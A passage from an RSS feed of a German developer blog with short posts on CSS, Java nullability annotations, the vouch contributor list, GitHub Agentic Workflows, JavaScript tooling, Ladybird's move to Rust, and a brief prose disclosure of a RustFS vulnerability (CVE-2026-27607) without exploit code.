&lt;p&gt;Dafür gibt es einen Trick: Man benutzt die Definition von &lt;code&gt;-apple-system-body&lt;/code&gt;, um die komplette Font-Definition zu setzen (also Fontname, Größe, etc.) und überschreibt dann die font-famlily separat:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;@supports (font: -apple-system-body) {
    :root {
        font: -apple-system-body;
        font-family: &apos;Courier New&apos;, Courier, monospace;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So hat man auf iOS-Geräten automatisch angepasste Schriftgrößen. Wenn man das als Base-Größe verwendet, dann passt das in den anderen Größen mit &lt;code&gt;rem&lt;/code&gt; auch wieder.&lt;/p&gt;
&lt;p&gt;Ich hab das mal für einen Kunden untersucht, ein funktionierendes Beispiel ist hier deployed:
https://nikeee.github.io/ios-dynamic-font-test/&lt;/p&gt;
&lt;p&gt;Wer also nicht warten kann und jetzt eine Lösung braucht, die vielleicht nur auf iOS funktionieren muss (z. B. bei einem WebView in einer App), dann hat man hiermit eine okayish lösung. Auf Android funktioniert sie natürlich nicht. Das Ganze mit &lt;code&gt;env&lt;/code&gt;-Vars zu standardisieren wirkt auf mich aber noch deutlich sinnvoller.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><category>html</category><category>a11y</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/29/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/29/1.html</guid><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Unübliche Probleme mit unerwarteter Lösung:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://web.mit.edu/jemorris/humor/500-miles&quot;&gt;We can&apos;t send mail farther than 500 miles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.snopes.com/fact-check/cone-of-silence/&quot;&gt;My car won&apos;t start when I buy vanilla ice cream&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://predr.ag/blog/wifi-only-works-when-its-raining/&quot;&gt;The Wi-Fi only works when it&apos;s raining&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://bugs.launchpad.net/ubuntu/+source/cupsys/+bug/255161/comments/28&quot;&gt;OpenOffice won&apos;t print on Tuesdays&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.reddit.com/r/talesfromtechsupport/comments/3v52pw/i_cant_log_in_when_i_stand_up/&quot;&gt;Can&apos;t log in when standing up&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/29/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/29/2.html</guid><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://faresbakhit.github.io/e/cpp-modules/&quot;&gt;C++ Modules are here to stay&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Der Post liest sich viel zu positiv. &quot;So einfach&quot; kann es doch gar nicht sein, das würde ich von C++ nicht erwarten. Da gibt es in der Praxis dann bestimmt noch ein paar hässliche Sachen. Das &quot;ultra fast run script&quot; hat auch schon viel zu viele Einstellungen, die es tut.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/29/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/29/3.html</guid><pubDate>Thu, 29 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.repoflow.io/blog/node-js-16-to-25-benchmarks-how-performance-evolved-over-time&quot;&gt;Node.js 16 to 25 Performance Benchmarks&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/01/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/01/30/0.html</guid><pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://moltbook.com&quot;&gt;Moltbook: A Social Network for AI Agents&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ai</category><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/04/0.html</guid><pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ein toller Brutto-Netto-Rechner: &lt;a href=&quot;https://www.howmuch.tax/germany&quot;&gt;howmuch.tax&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>tools</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/04/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/04/1.html</guid><pubDate>Wed, 04 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für CSS gibt es bei neuen, großen Features ja immer irgendwo ein Spiel, mit dem man das neue Feature einfacher lernen kann. Heute habe ich eins für Anchor-Positioning gefunden, daher mal eine Liste:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://flexboxfroggy.com&quot;&gt;Flexbox Froggy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cssgridgarden.com&quot;&gt;CSS Grid Garden&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://anchoreum.com&quot;&gt;Anchoreum&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/06/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/06/0.html</guid><pubDate>Fri, 06 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ihr kennt vielleicht in Java das Problem, dass &lt;a href=&quot;https://stackoverflow.com/questions/76630457&quot;&gt;man nicht weiß, welche der 1000 Nullable-Annotationen man benutzen soll&lt;/a&gt;. Die Menschen hinter Java wollten da nie eine Annotation in die Standardlibrary einfügen, deshalb gibt es diesen ganzen See. Es passierte das, &lt;a href=&quot;https://xkcd.com/927&quot;&gt;was passieren muss&lt;/a&gt;. Es gibt jetzt einen Zusammenschluss diverser Stakeholder, &lt;a href=&quot;https://jspecify.dev&quot;&gt;die das standardisiert haben&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Für Maven:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;dependency&amp;gt;
  &amp;lt;groupId&amp;gt;org.jspecify&amp;lt;/groupId&amp;gt;
  &amp;lt;artifactId&amp;gt;jspecify&amp;lt;/artifactId&amp;gt;
  &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Falls ihr da snoch nicht wusstet: Man kann in Java auch Annotationen an ein gesamtes Package machen, in der &lt;code&gt;package-info.java&lt;/code&gt;. &lt;a href=&quot;https://www.baeldung.com/java-package-info#package-annotations&quot;&gt;Die grüne Seite&lt;/a&gt; hat das auch mal für die Spring-Annotationen gezeigt:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// package-info.java

@NonNullApi
@NonNullFields
package com.baeldung.nullibility;

import org.springframework.lang.NonNullApi;
import org.springframework.lang.NonNullFields;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Achtung: Diese Annotationen sind aus Spring. JSpecify hat dafür auch welche, das ist in der &lt;a href=&quot;https://jspecify.dev/docs/using&quot;&gt;Usage-Doku&lt;/a&gt; ein bisschen versteckt. Insgesamt lese ich da jetzt 4 wichtige Annotationen aus &lt;code&gt;org.jspecify.annotations&lt;/code&gt; heraus:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;@Nullable&lt;/code&gt;: Die Variable / der Parameter / etc. kann/darf &lt;code&gt;null&lt;/code&gt; sein.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@NonNull&lt;/code&gt;: Die Variable / der Parameter / etc. kann/darf &lt;strong&gt;nicht&lt;/strong&gt; &lt;code&gt;null&lt;/code&gt; sein.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@NullMarked&lt;/code&gt;: Alle Elemente, die man nullable/non-null annotieren könnte, sind korrekt markiert. Alle nicht-annotierten sind per default non-null.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@NullUnmarked&lt;/code&gt;: Alle nicht-annotierten Elemente sind per default &quot;unspezifitiert&quot; (also dann wahrscheinlich nullable).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Hier ist noch ein tolles &lt;a href=&quot;https://jspecify.dev/docs/api/org/jspecify/annotations/package-summary.html&quot;&gt;JavaDoc&lt;/a&gt;.
Also wird man jetzt hiermit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// package-info.java

@NullMarked
package nu.holz;

import org.jspecify.annotations.NullMarked;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alle Variablen/Felder/etc im Package als Non-Null markieren können. So, wie es eigentlich sein sollte.&lt;/p&gt;
&lt;p&gt;Überprüft wird die Nullability natürlich weiterhin nur von Analysetools und der IDE. Habs nicht geprüft, aber ich kann mir vorstellen, dass der Kotlin-Interop damit auch besser wird. Für Compiler-Checks müssen wir noch auf &lt;a href=&quot;https://openjdk.org/jeps/8303099&quot;&gt;Valhalla&lt;/a&gt; warten. Aber mit diesen Annotationen hat man schonmal einen guten Migrationspfad dorthin, wenn das irgendwann kommt. Wenn man die jetzt schon benutzt, wird man in Zukunft weniger Arbeit haben.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>java</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/10/0.html</guid><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Mitchell Hashimoto (der hinter Ghostty, hcl, Terraform) hat ja viele Probleme mit AI-Slop-PRs. Dafür hat er jetzt einen Lösungsversuch skizziert: &lt;a href=&quot;https://github.com/mitchellh/vouch&quot;&gt;vouch&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Im Pinrzip ist es eine Liste von &quot;trusted&quot; Contributors (&quot;trusted&quot; wie in &quot;macht keinen AI-Slop&quot;, nicht in &quot;ist kein Actor mit schlechten Intentionen&quot;).&lt;/p&gt;
&lt;p&gt;Die Grundidee ist, dass man im Repo eine &lt;code&gt;.github/VOUCHED.td&lt;/code&gt; (td für &quot;Trustdown&quot;) hat. Die sieht bei dem &lt;a href=&quot;https://github.com/mitchellh/vouch&quot;&gt;Repo selbst&lt;/a&gt;, aber &lt;a href=&quot;https://github.com/mitchellh/vouch/blob/b5c7272a149f76d009ec6a030887ffbf71d48d50/VOUCHED.example.td&quot;&gt;hier&lt;/a&gt; auch als Beispiel:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# The list of vouched (or actively denounced) users for this repository.
#
# The high-level idea is that only vouched users can participate in
# contributing to this project. And a denounced user is explicitly
# blocked from contributing (issues, PRs, etc. auto-closed). 
#
# We choose to maintain a denouncement list rather than or in addition to 
# using the platform&apos;s block features so other projects can slurp in our 
# list of denounced users if they trust us and want to adopt our prior
# knowledge about bad actors.
#
# Syntax:
#  - One handle per line (without @). Sorted alphabetically.
#  - Optionally specify platform: `platform:username` (e.g., `github:mitchellh`).
#  - To denounce a user, prefix with minus: `-username` or `-platform:username`.
#  - Optionally, add details after a space following the handle.
#
# Maintainers can vouch for new contributors by commenting &quot;lgtm&quot; on an
# issue by the author. Maintainers can denounce users by commenting
# &quot;denounce&quot; or &quot;denounce [username]&quot; on an issue or PR.
mitchellh
-github:badguy
-github:slopmaster3000 Submitted endless amounts of AI slop
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Man kann damit Leuten nicht nur vertrauen, sondern auch explizit misstrauen. Mitchell liefert dazu noch passende GitHub-Actions, mit denen PRs direkt kategorisiert und ggf. geschlossen werden können.&lt;/p&gt;
&lt;p&gt;Wenn das was größeres wird, könnte man daraus auch so ein Web-Of-Trust wie bei GPG bauen. Mal gucken, was damit passiert.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>dx</category><category>oss</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/10/1.html</guid><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;GitHub hat jetzt &lt;a href=&quot;http://github.github.io/gh-aw&quot;&gt;Agentic Workflows&lt;/a&gt;. Das sind Markdown-Files mit einer Yaml-Frontmatter, die Tasks definieren, dei automatisch von irgendeinem LLM getätigt werden sollen. Sie betonen sehr die &quot;Guardrail&quot;-Features. Definieren tut man Permissions in der Frontmatter, die ähnlich zu den normalen Workflows aussehen.&lt;/p&gt;
&lt;p&gt;Hier deren Beispiel-Workflow für etwas, was täglich einen Status-Report macht:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;---
on:
  schedule: daily
permissions:
  contents: read
  issues: read
  pull-requests: read
safe-outputs:
  create-issue:
    title-prefix: &quot;[team-status] &quot;
    labels: [report, daily-status]
    close-older-issues: true
---

## Daily Issues Report

Create an upbeat daily status report for the team as a GitHub issue.

## What to include

- Recent repository activity (issues, PRs, discussions, releases, code changes)
- Progress tracking, goal reminders and highlights
- Project status and recommendations
- Actionable next steps for maintainers
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Wenn ich den &lt;code&gt;ono&lt;/code&gt;-Block so sehe, geht das dann wahrscheinlich auch bei allen üblichen Event-Triggern, die GH Actions so können. Könnte man also wahrscheinlich auch als Basistechnologie für automatisierte Code-Reviews nehmen (falls wman von denen im aktuellen Zustand etwas hält).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ai</category><category>dx</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/10/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/10/2.html</guid><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die UI der npm-Registry hat ja schon länger kein Update mehr bekommen, weil Microsoft das ganze nicht so preiorisiert.
Da gibt&apos;s jetzt ein anderes UI für die Registry: &lt;a href=&quot;https://npmx.dev/package/axios&quot;&gt;npmx&lt;/a&gt;. Ein paar Sachen sind in meinen Augen besser gelungen, ein paar nicht. Mal gucken, ob ich das in Zukunft benutzen werde.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/10/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/10/3.html</guid><pubDate>Tue, 10 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://oxc.rs/docs/guide/usage/formatter.html&quot;&gt;Oxfmt&lt;/a&gt; erzeugt jetzt 100% zu Prettier kompatiblen Output. Man könnte jetzt also migrieren.&lt;/p&gt;
&lt;p&gt;Lichess ist von Eslint + Prettier zu Oxlint und Oxfmt migriert. &lt;a href=&quot;https://github.com/lichess-org/lila/pull/19179&quot;&gt;Hier&lt;/a&gt; ist der PR.&lt;/p&gt;
&lt;p&gt;Oxlint und Oxfmt sind jeweils in Rust geschriebene Tools, die später auch in Vite eingebaut werden, um das Frontend-Tooling einheitlich zu haben. Die werden beide auch von &lt;a href=&quot;https://voidzero.dev&quot;&gt;VoidZero&lt;/a&gt; finanziert.&lt;/p&gt;
&lt;p&gt;Sieht für mich zukunftssicherer aus als &lt;a href=&quot;https://biomejs.dev&quot;&gt;Biome&lt;/a&gt;, was auch in Rust geschrieben ist. Das hat momentan keine Plugin-API, die JavaScript-Plugins unterstützt. Oxlint hat eine und supported auch ESLint-Plugins.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/11/0.html</guid><pubDate>Wed, 11 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/vgrippa/myflames&quot;&gt;Flamegraphs für MySQL-Query-Analysen&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>db</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/13/0.html</guid><pubDate>Fri, 13 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://devblogs.microsoft.com/typescript/announcing-typescript-6-0-beta/&quot;&gt;TypeScript 6 Beta&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/18/0.html</guid><pubDate>Wed, 18 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die JS-Engine von Facebook, die sie für React-Native bauen, &lt;a href=&quot;https://x.com/tmikov/status/2023821160241393839&quot;&gt;kann jetzt WASM&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>react</category><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/22/0.html</guid><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wer SchuelerVZ/StudiVZ und Facebook in den Anfängen damals miterlebt hat, der wird sich sicher auch erinnern, dass das was komplett anderes war, als heute. Quasi Social Media. Heutzutage ist Instagram ja nur noch Interaction-Bait. Die eigentlichen Freunde sind in den Apps kaum noch sichtbar - wenn überhaupt nur als Story, um über FOMO-Mechanismen den User zu Hooken, damit er jeden Tag mindestens einmal die App öffnet (und dann am besten hängen bleibt).&lt;/p&gt;
&lt;p&gt;Ich hab mich schon öfters gefragt, warum wir das alles &lt;em&gt;immer noch&lt;/em&gt; Social Media nennen und es noch längst keine Bewegung gab, das ganze irgendwie anders zu betiteln. Hier gibt es einen vorschlag: &lt;a href=&quot;https://susam.net/attention-media-vs-social-networks.html&quot;&gt;Attention Media ≠ Social Networks&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Vielleicht sind Netzwerke wie Instagram auch bald komplett am Ende. Die User äußern sehr oft, dass sie etwas wegwischen, sobald sie merken, dass es KI ist (von völlig übertriebenen Meme-KI-Videos mal wohl abgesehen). Wenn KI-Content jetzt immer &quot;besser&quot; wird, könnten User in Zukunft annehmen, dass quasi alles auf der Plattform nur noch KI ist. Vielleicht führt das dazu, dass sie den Plattformen dann den Rücken kehren.&lt;/p&gt;
&lt;p&gt;Man merkt aber in letzter Zeit, dass Instagram sich mehr mühe gibt, hervorzuheben, dass auch noch andere Menschen auf der Plattform sind. Z. B. mit der &quot;Snap-Map&quot; oder damit, dass sie an einem Reel anzeigen, wenn ein Freund ihn geliked hat. Vielleicht sind das schon die ersten Versuche, dem KI-Tod entgegen zu kommen.&lt;/p&gt;
&lt;p&gt;Vielleicht wird KI uns aber auch befreien - aber woher weiß ich dann, was in meiner Stadt abgeht?&lt;/p&gt;
</content:encoded><language>de-DE</language><category>ki</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/22/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/22/1.html</guid><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://nesbitt.io/2026/02/05/git-magic-files.html&quot;&gt;Git&apos;s Magic Files&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/22/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/22/2.html</guid><pubDate>Sun, 22 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.cloudflare.com/how-stacks-are-handled-in-go/&quot;&gt;How Stacks are Handled in Go&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>go</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/23/0.html</guid><pubDate>Mon, 23 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;code&gt;.git-blame-ignore-revs&lt;/code&gt; &lt;a href=&quot;https://stackoverflow.com/a/79824780&quot;&gt;kann man jetzt auch optional machen&lt;/a&gt;, sodass man es auch in die globale &lt;code&gt;.gitconfig&lt;/code&gt; tun kann und keine Fehler mehr bekommt, wenn ein Repo keine hat.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/24/0.html</guid><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Vielleicht habt ihr ja schonmal von &lt;a href=&quot;https://ladybird.org&quot;&gt;Ladybird&lt;/a&gt; gehört. Das ist der Versuch eines ehemaligen WebKit-Engineers, eine weitere, komplett unabhängige Browser-Engine neben Gecko, Blink und WebKit aufzubauen und etwas mehr Diversität zu schaffen. Die &lt;a href=&quot;https://ladybird.org/#sponsors&quot;&gt;Sponsoren&lt;/a&gt; können sich sehen lassen.&lt;/p&gt;
&lt;p&gt;Ladybird ist aktuell zum Großteil in C++ geschrieben. Das wollten sie ändern und auf eine sichere Sprache wechseln. Zur überraschung vieler wurde Swift und nicht Rust gewählt. Die Wahl kann ich verstehen, denn Swift bietet built-in Support für C++-Interop (wofür Google &lt;a href=&quot;https://en.wikipedia.org/wiki/Carbon_(programming_language)&quot;&gt;eine eigene Sprache baut&lt;/a&gt;) und hat mittlerweile auch Ownership &amp;amp; Borrowing, analog zu Rust. Man kommt in Swift mittlerweile auch ohne GC aus. Als Grund nannten sie damals auch, dass die DOM-Apis im Browser allesamt eher Objektorientiert sind und das in C++/Swift besser abbildbar ist, als in Rust, wo sehr oft auf Immutability gesetzt wird. Auch ein großer Faktor wird gewesen sein, dass der Owner früher bei Apple war.&lt;/p&gt;
&lt;p&gt;Sagten wir, wir machen Swift und nicht C++? &lt;a href=&quot;https://github.com/LadybirdBrowser/ladybird/issues/933#issuecomment-3914415625&quot;&gt;Nein, doch nicht&lt;/a&gt;. Nur C++.&lt;/p&gt;
&lt;p&gt;Und es kommt doch noch anders: &lt;a href=&quot;https://ladybird.org/posts/adopting-rust/&quot;&gt;Ladybird adopts Rust&lt;/a&gt;. tldr: Andreas Kling hat mit KI die JavaScript-Engine von C++ nach Rust portiert und ist jetzt überzeugt, dass es für den Rest des Browsers funktioniert.&lt;/p&gt;
&lt;p&gt;Schade, dass es nicht bei Swift geblieben ist, ich finde die Sprache sehr unterschätzt.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>rust</category><category>swift</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/24/1.html</guid><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.firefox.com/en-US/firefox/148.0/releasenotes/&quot;&gt;Firefox 148&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/24/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/24/2.html</guid><pubDate>Tue, 24 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wer schonmal eine PWA gebaut hat, der wird erfahren haben, wie nervig das ist, wenn man einen &quot;klick hier zum Installieren&quot;-Button bauen muss. Da braucht man erstmal JavaScript für und man muss auf irgendwelche Events lauschen, die manche Browser überhaupt gar nicht emitten.&lt;/p&gt;
&lt;p&gt;Dafür gibt&apos;s jetzt ein bald vielleicht HTML-Element: &lt;a href=&quot;https://github.com/WICG/install-element&quot;&gt;&lt;code&gt;&amp;lt;install&amp;gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://kbhlee2121.github.io/pwa/web-install/only-elements.html&quot;&gt;Hier&lt;/a&gt; ist eine Testseite. Chrome hat es &lt;a href=&quot;https://chromestatus.com/feature/5152834368700416&quot;&gt;gerade im Origin Trial&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/25/0.html</guid><pubDate>Wed, 25 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich baue ja nebenbei &lt;a href=&quot;https://github.com/nikeee/lean-s3&quot;&gt;einen S3-Client&lt;/a&gt;. Für diesen Client habe ich eine Testmatrix, die den Client gegen die gängigsten Implementierungen testet. Wegen der Sache bei MinIO ist da ein oft genannter Kandidat RustFS.&lt;/p&gt;
&lt;p&gt;In der Testmatrix wurde etwas überprüft, das bei RustFS falsch implementiert wurde. Genauer gesagt: Post-Policys wurden nicht richtig validiert, weshalb ein Angreifer mit &lt;em&gt;irgendeiner&lt;/em&gt; signierten Post-Policy jedes beliebige Objekt an jede beliebige Stelle schreiben konnte.
Daraus kam &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-27607&quot;&gt;CVE-2026-27607&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/nikeee/CVE-2026-27607&quot;&gt;Hier&lt;/a&gt; ist ein Demo-Repo. Der CVSS-Score ist 8.1. Der Vektor: &lt;code&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H&lt;/code&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/02/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/02/26/0.html</guid><pubDate>Thu, 26 Feb 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Stellt euch mal vor, ihr schreibt euren Lebenslauf und ihr seid derjenige, der &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-20841&quot;&gt;CVE-2026-20841&lt;/a&gt; - Remote Code Execution in Notepad - reinschreiben kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>security</category><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/03/0.html</guid><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Der berühmte XKCD zu Foss-Maintainern &lt;a href=&quot;https://editor.p5js.org/isohedral/full/vJa5RiZWs&quot;&gt;mit echter Physik&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>fun</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/03/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/03/1.html</guid><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://hacks.mozilla.org/2026/02/making-webassembly-a-first-class-language-on-the-web/&quot;&gt;Why is WebAssembly a second-class language on the web?&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>wasm</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/03/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/03/2.html</guid><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://dbushell.com/2026/02/20/visually-hidden/&quot;&gt;Everything you never wanted to know about &lt;code&gt;visually-hidden&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>a11y</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/03/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/03/3.html</guid><pubDate>Tue, 03 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Josh hat einen schönen, neuen Artikel über (Sprite-)Animationen in HTML/CSS: &lt;a href=&quot;https://www.joshwcomeau.com/animation/sprites/&quot;&gt;Sprites on the Web&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>html</category><category>javascript</category><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2026/03/04/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2026/03/04/0.html</guid><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://iev.ee/blog/resharp-how-we-built-the-fastest-regex-in-fsharp/&quot;&gt;RE#: how we built the world&apos;s fastest regex engine in F#&lt;/a&gt;.&lt;/p&gt;
